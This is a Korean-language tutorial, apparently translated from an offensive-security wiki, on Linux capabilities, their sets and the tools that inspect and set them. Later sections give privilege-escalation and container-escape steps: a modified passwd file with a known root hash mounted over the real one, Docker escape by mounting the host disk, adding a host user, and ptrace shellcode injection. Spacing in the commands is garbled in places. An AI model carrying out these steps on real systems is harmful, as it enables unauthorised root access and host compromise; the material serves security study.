Linux capabilities는 루트 권한을 더 작고 구별된 단위로 나누어, 프로세스가 권한의 하위 집합을 가질 수 있도록 합니다. 이는 불필요하게 전체 루트 권한을 부여하지 않음으로써 위험을 최소화합니다.
문제:
일반 사용자는 제한된 권한을 가지고 있어, 루트 접근이 필요한 네트워크 소켓을 여는 작업에 영향을 미칩니다.
권한 집합:
상속된 (CapInh):
목적: 부모 프로세스에서 전달된 권한을 결정합니다.
기능: 새로운 프로세스가 생성될 때, 이 집합에서 부모로부터 권한을 상속받습니다. 프로세스 생성 간 특정 권한을 유지하는 데 유용합니다.
제한: 프로세스는 부모가 가지지 않은 권한을 얻을 수 없습니다.
유효한 (CapEff):
목적: 프로세스가 현재 사용하는 실제 권한을 나타냅니다.
기능: 다양한 작업에 대한 권한을 부여하기 위해 커널이 확인하는 권한 집합입니다. 파일의 경우, 이 집합은 파일의 허용된 권한이 유효한지 여부를 나타내는 플래그가 될 수 있습니다.
의의: 유효한 집합은 즉각적인 권한 확인에 중요하며, 프로세스가 사용할 수 있는 활성 권한 집합으로 작용합니다.
허용된 (CapPrm):
목적: 프로세스가 가질 수 있는 최대 권한 집합을 정의합니다.
기능: 프로세스는 허용된 집합에서 유효한 집합으로 권한을 상승시킬 수 있으며, 해당 권한을 사용할 수 있게 됩니다. 또한 허용된 집합에서 권한을 제거할 수도 있습니다.
경계: 프로세스가 가질 수 있는 권한의 상한선으로 작용하여, 프로세스가 미리 정의된 권한 범위를 초과하지 않도록 보장합니다.
경계 (CapBnd):
목적: 프로세스가 생애 주기 동안 획득할 수 있는 권한에 한계를 둡니다.
기능: 프로세스가 상속 가능하거나 허용된 집합에서 특정 권한을 가지고 있더라도, 경계 집합에 포함되지 않으면 해당 권한을 획득할 수 없습니다.
사용 사례: 이 집합은 프로세스의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적인 보안 계층을 추가합니다.
환경 (CapAmb):
목적: 특정 권한이 execve 시스템 호출을 통해 유지될 수 있도록 하여, 일반적으로 프로세스의 권한이 완전히 초기화되는 결과를 초래합니다.
기능: 관련 파일 권한이 없는 비-SUID 프로그램이 특정 권한을 유지할 수 있도록 보장합니다.
제한: 이 집합의 권한은 상속 가능 및 허용된 집합의 제약을 받으며, 프로세스의 허용된 권한을 초과하지 않도록 보장합니다.
# Code to demonstrate the interaction of different capability sets might look like this:# Note: This is pseudo-code for illustrative purposes only.defmanage_capabilities(process):if process.has_capability('cap_setpcap'):process.add_capability_to_set('CapPrm', 'new_capability')process.limit_capabilities('CapBnd')process.preserve_capabilities_across_execve('CapAmb')
특정 프로세스의 기능을 보려면 /proc 디렉토리의 status 파일을 사용하세요. 더 많은 세부정보를 제공하므로 Linux 기능과 관련된 정보로만 제한합시다.
모든 실행 중인 프로세스에 대한 기능 정보는 스레드별로 유지되며, 파일 시스템의 바이너리에 대해서는 확장 속성에 저장됩니다.
/usr/include/linux/capability.h에서 정의된 기능을 찾을 수 있습니다.
현재 프로세스의 기능은 cat /proc/self/status 또는 capsh --print를 사용하여 확인할 수 있으며, 다른 사용자의 기능은 /proc/<pid>/status에서 확인할 수 있습니다.
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
이 명령은 대부분의 시스템에서 5줄을 반환해야 합니다.
CapInh = 상속된 권한
CapPrm = 허용된 권한
CapEff = 유효한 권한
CapBnd = 경계 집합
CapAmb = 환경 권한 집합
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
이 16진수 숫자는 의미가 없습니다. capsh 유틸리티를 사용하여 이를 권한 이름으로 디코딩할 수 있습니다.
그 방법도 효과적이지만, 더 쉽고 다른 방법이 있습니다. 실행 중인 프로세스의 능력을 보려면, getpcaps 도구를 사용한 다음 프로세스 ID (PID)를 입력하면 됩니다. 프로세스 ID 목록을 제공할 수도 있습니다.
getpcaps1234
여기에서 tcpdump의 기능을 확인해 보겠습니다. 이진 파일에 충분한 기능(cap_net_admin 및 cap_net_raw)을 부여하여 네트워크를 스니핑합니다 (tcpdump는 프로세스 9562에서 실행 중입니다):
#The following command give tcpdump the needed capabilities to sniff traffic$setcapcap_net_raw,cap_net_admin=eip/usr/sbin/tcpdump$getpcaps9562Capabilitiesfor`9562': = cap_net_admin,cap_net_raw+ep$ cat /proc/9562/status | grep CapCapInh: 0000000000000000CapPrm: 0000000000003000CapEff: 0000000000003000CapBnd: 0000003fffffffffCapAmb: 0000000000000000$ capsh --decode=00000000000030000x0000000000003000=cap_net_admin,cap_net_raw
주어진 능력은 이진 파일의 능력을 얻는 두 가지 방법의 결과와 일치합니다.
getpcaps 도구는 capget() 시스템 호출을 사용하여 특정 스레드에 대한 사용 가능한 능력을 쿼리합니다. 이 시스템 호출은 더 많은 정보를 얻기 위해 PID만 제공하면 됩니다.
이진 파일의 능력
이진 파일은 실행 중에 사용할 수 있는 능력을 가질 수 있습니다. 예를 들어, cap_net_raw 능력을 가진 ping 이진 파일을 찾는 것은 매우 일반적입니다:
getcap/usr/bin/ping/usr/bin/ping=cap_net_raw+ep
You can search binaries with capabilities using:
당신은 능력을 가진 바이너리 검색을 사용할 수 있습니다:
getcap-r/2>/dev/null
Dropping capabilities with capsh
CAP_NET_RAW 권한을 _ping_에서 제거하면 ping 유틸리티가 더 이상 작동하지 않아야 합니다.
capsh--drop=cap_net_raw--print---c"tcpdump"
Besides the output of capsh itself, the tcpdump command itself should also raise an error.
/bin/bash: /usr/sbin/tcpdump: 허용되지 않는 작업
The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.
Remove Capabilities
You can remove capabilities of a binary with
setcap-r</path/to/binary>
User Capabilities
명백히 사용자에게도 권한을 부여할 수 있습니다. 이는 아마도 사용자가 실행하는 모든 프로세스가 사용자의 권한을 사용할 수 있음을 의미합니다.
이것, 이것 및 이것을 기반으로 특정 권한을 사용자에게 부여하기 위해 몇 가지 파일을 구성해야 하지만, 각 사용자에게 권한을 부여하는 파일은 /etc/security/capability.conf입니다.
파일 예:
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
환경 능력
다음 프로그램을 컴파일하면 능력을 제공하는 환경 내에서 bash 셸을 생성할 수 있습니다.
ambient.c
/** Test program for the ambient capabilities** compile using:* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c* Set effective, inherited and permitted capabilities to the compiled binary* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient** To get a shell with additional caps that can be inherited do:** ./ambient /bin/bash*/#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process();rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2);}capng_apply(CAPNG_SELECT_CAPS);/* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1);}}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= {CAP_NET_RAW,CAP_NET_ADMIN,CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) {list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1);}list[i -1] =atoi(tok);list[i] =-1;i++;}return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]);}caplist =get_caplist(argv[2]);index =3;}if (!caplist) {caplist = (int* ) default_caplist;}for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]);}printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
문서에서: 프로그램 파일에 빈 능력 집합을 할당할 수 있으며, 따라서 실행하는 프로세스의 유효 및 저장된 set-user-ID를 0으로 변경하지만 해당 프로세스에 능력을 부여하지 않는 set-user-ID-root 프로그램을 생성할 수 있습니다. 간단히 말해, 다음 조건을 만족하는 바이너리가 있다면:
root에 의해 소유되지 않음
SUID/SGID 비트가 설정되어 있지 않음
빈 능력 집합이 설정되어 있음 (예: getcap myelf가 myelf =ep를 반환)
그렇다면 해당 바이너리는 root로 실행됩니다.
CAP_SYS_ADMIN
**CAP_SYS_ADMIN**은 매우 강력한 Linux 능력으로, 장치 마운트 또는 커널 기능 조작과 같은 광범위한 관리 권한으로 인해 거의 root 수준에 해당합니다. 전체 시스템을 시뮬레이션하는 컨테이너에 필수적이지만, CAP_SYS_ADMIN은 권한 상승 및 시스템 손상의 가능성으로 인해 특히 컨테이너화된 환경에서 상당한 보안 문제를 야기합니다. 따라서 이 능력의 사용은 엄격한 보안 평가와 신중한 관리가 필요하며, 최소 권한 원칙을 준수하고 공격 표면을 최소화하기 위해 애플리케이션 전용 컨테이너에서 이 능력을 제거하는 것이 강력히 권장됩니다.
파이썬을 사용하여 실제 passwd 파일 위에 수정된 passwd 파일을 마운트할 수 있습니다:
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
그리고 당신은 비밀번호 "password"를 사용하여 su as root로 전환할 수 있습니다.
환경 예시 (Docker 탈출)
다음 명령어를 사용하여 도커 컨테이너 내에서 활성화된 능력을 확인할 수 있습니다:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the SYS_ADMIN capability is enabled.
Mount
이것은 도커 컨테이너가 호스트 디스크를 마운트하고 자유롭게 접근할 수 있도록 허용합니다:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
전체 접근
이전 방법에서는 도커 호스트 디스크에 접근할 수 있었습니다.
호스트가 ssh 서버를 실행 중인 경우, 도커 호스트 디스크 내에 사용자를 생성하고 SSH를 통해 접근할 수 있습니다:
#Like in the example before, the first step is to mount the docker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
CAP_SYS_PTRACE
이것은 호스트에서 실행 중인 일부 프로세스에 쉘코드를 주입하여 컨테이너를 탈출할 수 있음을 의미합니다. 호스트에서 실행 중인 프로세스에 접근하려면 컨테이너를 최소한 --pid=host 옵션으로 실행해야 합니다.
**CAP_SYS_PTRACE**는 ptrace(2)가 제공하는 디버깅 및 시스템 호출 추적 기능과 process_vm_readv(2), process_vm_writev(2)와 같은 교차 메모리 첨부 호출을 사용할 수 있는 능력을 부여합니다. 진단 및 모니터링 목적으로 강력하지만, ptrace(2)에 대한 seccomp 필터와 같은 제한 조치 없이 CAP_SYS_PTRACE가 활성화되면 시스템 보안을 심각하게 저해할 수 있습니다. 특히, 이는 seccomp에 의해 부과된 다른 보안 제한을 우회하는 데 악용될 수 있으며, 이와 같은 개념 증명(PoC)에서 입증되었습니다.